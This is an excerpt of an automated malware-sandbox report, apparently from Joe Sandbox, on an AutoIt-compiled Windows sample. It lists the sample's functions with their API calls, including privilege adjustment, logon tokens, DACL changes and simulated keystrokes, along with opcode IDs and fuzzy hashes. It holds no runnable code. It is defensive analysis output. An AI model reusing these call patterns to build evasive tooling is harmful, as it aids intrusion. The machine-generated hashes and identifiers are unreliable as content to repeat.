                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AllocateHeap
                                                • String ID:
                                                • API String ID: 1279760036-0
                                                • Opcode ID: f06b3d40b29425d9ab20fbfe29bff6648f77d5a84131a56186c4726c51fc4e67
                                                • Instruction ID: 945722d7c91b9f2e6ee8f9428027edeb893b133d25395749055111597fab0af3
                                                • Opcode Fuzzy Hash: f06b3d40b29425d9ab20fbfe29bff6648f77d5a84131a56186c4726c51fc4e67
                                                • Instruction Fuzzy Hash: 21F0B43163262566DB217F629C15F9B3788AF417F1B14431BFC15A62B1CA70DA3186E0
                                                Function 002C3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • RtlAllocateHeap.NTDLL(00000000,?,00361444,?,002AFDF5,?,?,0029A976,00000010,00361440,002913FC,?,002913C6,?,00291129), ref: 002C3852
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AllocateHeap
                                                • String ID:
                                                • API String ID: 1279760036-0
                                                • Opcode ID: bf90e0c77767026b9dc7279be56e0751b39eadf37904439b0d13a7458a7aecec
                                                • Instruction ID: 52f22f583ff765d38cb1ab5d790c413f9cc2bf0e1895e6ec5c32f5eb7ce43cba
                                                • Opcode Fuzzy Hash: bf90e0c77767026b9dc7279be56e0751b39eadf37904439b0d13a7458a7aecec
                                                • Instruction Fuzzy Hash: 8DE0E53213422656E6316E669C01FDA3659AB427F0F158B29BC1592591CB60DD2189E0
                                                Function 00294F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                Download Yara Rule
                                                APIs
                                                • FreeLibrary.KERNEL32(?,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294F6D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FreeLibrary
                                                • String ID:
                                                • API String ID: 3664257935-0
                                                • Opcode ID: bcc9b3e45b123668862c47b95e4a0dd21067a546abdbed68cf4e2bbf69888488
                                                • Instruction ID: 3a06ac9668b8f0e4ddfb24ac0a830f64053971643bb9c4a5d1cf42bf16fddf52
                                                • Opcode Fuzzy Hash: bcc9b3e45b123668862c47b95e4a0dd21067a546abdbed68cf4e2bbf69888488
                                                • Instruction Fuzzy Hash: 2AF01571125753CFDF34AF64D494C66BBE4AF143293208A6EE1EA82A21C771A865DF10
                                                Function 00292DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00292DC4
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LongNamePath_wcslen
                                                • String ID:
                                                • API String ID: 541455249-0
                                                • Opcode ID: bedc8c610bc4c594ebc2fa3705c6460824f0061f7fa685866d6157246cf6821a
                                                • Instruction ID: c7d30a388b049a451fa5b2d6504cce26efd4c4df489b16f321e3ee5c68e5d002
                                                • Opcode Fuzzy Hash: bedc8c610bc4c594ebc2fa3705c6460824f0061f7fa685866d6157246cf6821a
                                                • Instruction Fuzzy Hash: C0E0CD726002245BCB219398DC05FDA77DDDFC8790F040075FD09E7248D960AD948950
                                                Function 00292B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00293837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00293908
                                                  • Part of subcall function 0029D730: GetInputState.USER32 ref: 0029D807
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00292B6B
                                                  • Part of subcall function 002930F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 0029314E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_$CurrentDirectoryInputState
                                                • String ID:
                                                • API String ID: 3667716007-0
                                                • Opcode ID: cf49c29d213078c69842a89403997573bfef9dc11ab344b759402104236497c8
                                                • Instruction ID: 1e3b9b221f34bb5caac891d8e0a19902bf7d8651648ff77d4fcda97d0fc7303e
                                                • Opcode Fuzzy Hash: cf49c29d213078c69842a89403997573bfef9dc11ab344b759402104236497c8
                                                • Instruction Fuzzy Hash: A3E07D3132020407CE09FB7698225BDF39D9FD1351F80143EF14283163CF2445694B12
                                                Function 002D039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNELBASE(00000000,00000000,?,002D0704,?,?,00000000,?,002D0704,00000000,0000000C), ref: 002D03B7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateFile
                                                • String ID:
                                                • API String ID: 823142352-0
                                                • Opcode ID: 675399fe3cd8eddbef796d05341bf5911eaab9617cb579469b340c574a464421
                                                • Instruction ID: c028277aa4816ae1e211623591a6a2e22c921bb0a5d981c82f3a6539754d716b
                                                • Opcode Fuzzy Hash: 675399fe3cd8eddbef796d05341bf5911eaab9617cb579469b340c574a464421
                                                • Instruction Fuzzy Hash: 35D06C3205010DBBDF128F84DD06EDA3BAAFB48714F014000BE1856020C732E832AB90
                                                Function 00291CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                Download Yara Rule
                                                APIs
                                                • SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00291CBC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: InfoParametersSystem
                                                • String ID:
                                                • API String ID: 3098949447-0
                                                • Opcode ID: 9df96732d0556ff270bbab2acc8f6f2d0464d8a04cb399e6a8414ed5ed57d8e0
                                                • Instruction ID: c57fe1669cf40bba00de3618fbfb10f6b3226f7bdfd4e419af95bf742a3d7932
                                                • Opcode Fuzzy Hash: 9df96732d0556ff270bbab2acc8f6f2d0464d8a04cb399e6a8414ed5ed57d8e0
                                                • Instruction Fuzzy Hash: F1C09B352803049FF2274781BC4AF15775CA759B00F14C001F70A555E3C3E15410D650
                                                Function 00D54DD8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNELBASE(000001F4), ref: 00D54DE9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1460303894.0000000000D52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D52000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d52000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Sleep
                                                • String ID:
                                                • API String ID: 3472027048-0
                                                • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction ID: 6d6b6132da4457bc0629d485841ffa827822bfbcfb259946bae3b1ed56f9419a
                                                • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction Fuzzy Hash: 19E0E67494010DDFDB00DFB8D64969E7BF4FF04302F100161FD05D2280D6309E509A72

                                                Non-executed Functions

                                                Function 00329576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0032961A
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0032965B
                                                • GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0032969F
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003296C9
                                                • SendMessageW.USER32 ref: 003296F2
                                                • GetKeyState.USER32(00000011), ref: 0032978B
                                                • GetKeyState.USER32(00000009), ref: 00329798
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 003297AE
                                                • GetKeyState.USER32(00000010), ref: 003297B8
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003297E9
                                                • SendMessageW.USER32 ref: 00329810
                                                • SendMessageW.USER32(?,00001030,?,00327E95), ref: 00329918
                                                • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0032992E
                                                • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00329941
                                                • SetCapture.USER32(?), ref: 0032994A
                                                • ClientToScreen.USER32(?,?), ref: 003299AF
                                                • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 003299BC
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 003299D6
                                                • ReleaseCapture.USER32 ref: 003299E1
                                                • GetCursorPos.USER32(?), ref: 00329A19
                                                • ScreenToClient.USER32(?,?), ref: 00329A26
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00329A80
                                                • SendMessageW.USER32 ref: 00329AAE
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00329AEB
                                                • SendMessageW.USER32 ref: 00329B1A
                                                • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00329B3B
                                                • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00329B4A
                                                • GetCursorPos.USER32(?), ref: 00329B68
                                                • ScreenToClient.USER32(?,?), ref: 00329B75
                                                • GetParent.USER32(?), ref: 00329B93
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00329BFA
                                                • SendMessageW.USER32 ref: 00329C2B
                                                • ClientToScreen.USER32(?,?), ref: 00329C84
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00329CB4
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00329CDE
                                                • SendMessageW.USER32 ref: 00329D01
                                                • ClientToScreen.USER32(?,?), ref: 00329D4E
                                                • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00329D82
                                                  • Part of subcall function 002A9944: GetWindowLongW.USER32(?,000000EB), ref: 002A9952
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00329E05
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
                                                • String ID: @GUI_DRAGID$F$p#6
                                                • API String ID: 3429851547-615714836
                                                • Opcode ID: ae623ca829a30ac37b9ae1ffa40370763c72d21a3eeba71f65df7d0142444bed
                                                • Instruction ID: d24c099c9159a78f62c57df20f9b2a9bd8d3415a96a5538634886e5c141e66a6
                                                • Opcode Fuzzy Hash: ae623ca829a30ac37b9ae1ffa40370763c72d21a3eeba71f65df7d0142444bed
                                                • Instruction Fuzzy Hash: D342AE34204210AFDB22CF28DC44BAABBE9FF49720F15461EF699872A1D771D861CF91
                                                Function 00324873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 003248F3
                                                • SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00324908
                                                • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00324927
                                                • SendMessageW.USER32(?,00000148,00000000,00000000), ref: 0032494B
                                                • SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 0032495C
                                                • SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 0032497B
                                                • SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 003249AE
                                                • SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 003249D4
                                                • SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00324A0F
                                                • SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00324A56
                                                • SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00324A7E
                                                • IsMenu.USER32(?), ref: 00324A97
                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00324AF2
                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00324B20
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00324B94
                                                • SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00324BE3
                                                • SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00324C82
                                                • wsprintfW.USER32 ref: 00324CAE
                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00324CC9
                                                • GetWindowTextW.USER32(?,00000000,00000001), ref: 00324CF1
                                                • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00324D13
                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00324D33
                                                • GetWindowTextW.USER32(?,00000000,00000001), ref: 00324D5A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
                                                • String ID: %d/%02d/%02d
                                                • API String ID: 4054740463-328681919
                                                • Opcode ID: f2693d00d0ba1062a97838a952be9c8ebd639f223f1647ea8f67a645861a414f
                                                • Instruction ID: 3d8265afd6e1bf9ffa6d3f5261477900250054b353e43636a0660c2624f6f0d9
                                                • Opcode Fuzzy Hash: f2693d00d0ba1062a97838a952be9c8ebd639f223f1647ea8f67a645861a414f
                                                • Instruction Fuzzy Hash: A4122431610224ABEB268F28ED49FAEBBF8EF85710F144119F915DB2E1DB749941CF50
                                                Function 002AF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 002AF998
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 002EF474
                                                • IsIconic.USER32(00000000), ref: 002EF47D
                                                • ShowWindow.USER32(00000000,00000009), ref: 002EF48A
                                                • SetForegroundWindow.USER32(00000000), ref: 002EF494
                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 002EF4AA
                                                • GetCurrentThreadId.KERNEL32 ref: 002EF4B1
                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 002EF4BD
                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 002EF4CE
                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 002EF4D6
                                                • AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 002EF4DE
                                                • SetForegroundWindow.USER32(00000000), ref: 002EF4E1
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 002EF4F6
                                                • keybd_event.USER32(00000012,00000000), ref: 002EF501
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 002EF50B
                                                • keybd_event.USER32(00000012,00000000), ref: 002EF510
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 002EF519
                                                • keybd_event.USER32(00000012,00000000), ref: 002EF51E
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 002EF528
                                                • keybd_event.USER32(00000012,00000000), ref: 002EF52D
                                                • SetForegroundWindow.USER32(00000000), ref: 002EF530
                                                • AttachThreadInput.USER32(?,000000FF,00000000), ref: 002EF557
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 4125248594-2988720461
                                                • Opcode ID: e130a8f6f7ff831d246708e41da0ef3e9df38c8762ab93884531b4c3668f5d2b
                                                • Instruction ID: 2834f78c95bbfc0febc3ea3480150d7a1fc0ad62262bf69b0d8d72882661a4c3
                                                • Opcode Fuzzy Hash: e130a8f6f7ff831d246708e41da0ef3e9df38c8762ab93884531b4c3668f5d2b
                                                • Instruction Fuzzy Hash: 2F319A71AA02187FEB316FB65C49FBF7E6CEB44B50F501029F601F61D1C6B05D119AA0
                                                Function 002F1201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 002F170D
                                                  • Part of subcall function 002F16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 002F173A
                                                  • Part of subcall function 002F16C3: GetLastError.KERNEL32 ref: 002F174A
                                                • LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 002F1286
                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 002F12A8
                                                • CloseHandle.KERNEL32(?), ref: 002F12B9
                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 002F12D1
                                                • GetProcessWindowStation.USER32 ref: 002F12EA
                                                • SetProcessWindowStation.USER32(00000000), ref: 002F12F4
                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 002F1310
                                                  • Part of subcall function 002F10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,002F11FC), ref: 002F10D4
                                                  • Part of subcall function 002F10BF: CloseHandle.KERNEL32(?,?,002F11FC), ref: 002F10E9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
                                                • String ID: $default$winsta0$Z5
                                                • API String ID: 22674027-2776224703
                                                • Opcode ID: 7985630a1503f2c0b4f8013a28d7d263ca0cb66b7be3620eb6157ba9d9ffbc88
                                                • Instruction ID: 55ec2666941d2e32d9d3b1c62a63f9bd00a452a3a8049c73dbdd3acc3225ed6c
                                                • Opcode Fuzzy Hash: 7985630a1503f2c0b4f8013a28d7d263ca0cb66b7be3620eb6157ba9d9ffbc88
                                                • Instruction Fuzzy Hash: 3D818A7192020AEBDF259FA4CD49FFEBBB9AF44740F144129FA11A61A0C7309965CB60
                                                Function 002F0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 002F1114
                                                  • Part of subcall function 002F10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F1120
                                                  • Part of subcall function 002F10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F112F
                                                  • Part of subcall function 002F10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,002F0B9B,?,?,?), ref: 002F1136
                                                  • Part of subcall function 002F10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 002F114D
                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 002F0BCC
                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 002F0C00
                                                • GetLengthSid.ADVAPI32(?), ref: 002F0C17
                                                • GetAce.ADVAPI32(?,00000000,?), ref: 002F0C51
                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 002F0C6D
                                                • GetLengthSid.ADVAPI32(?), ref: 002F0C84
                                                • GetProcessHeap.KERNEL32(00000008,00000008), ref: 002F0C8C
                                                • HeapAlloc.KERNEL32(00000000), ref: 002F0C93
                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 002F0CB4
                                                • CopySid.ADVAPI32(00000000), ref: 002F0CBB
                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 002F0CEA
                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 002F0D0C
                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 002F0D1E
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F0D45
                                                • HeapFree.KERNEL32(00000000), ref: 002F0D4C
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F0D55
                                                • HeapFree.KERNEL32(00000000), ref: 002F0D5C
                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 002F0D65
                                                • HeapFree.KERNEL32(00000000), ref: 002F0D6C
                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 002F0D78
                                                • HeapFree.KERNEL32(00000000), ref: 002F0D7F
                                                  • Part of subcall function 002F1193: GetProcessHeap.KERNEL32(00000008,002F0BB1,?,00000000,?,002F0BB1,?), ref: 002F11A1
                                                  • Part of subcall function 002F1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,002F0BB1,?), ref: 002F11A8
                                                  • Part of subcall function 002F1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,002F0BB1,?), ref: 002F11B7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                • String ID:
                                                • API String ID: 4175595110-0
                                                • Opcode ID: 161bbf4e06826936d9cd883e0c315c16c0b75bb9c906b2c247ffd3370e217f32
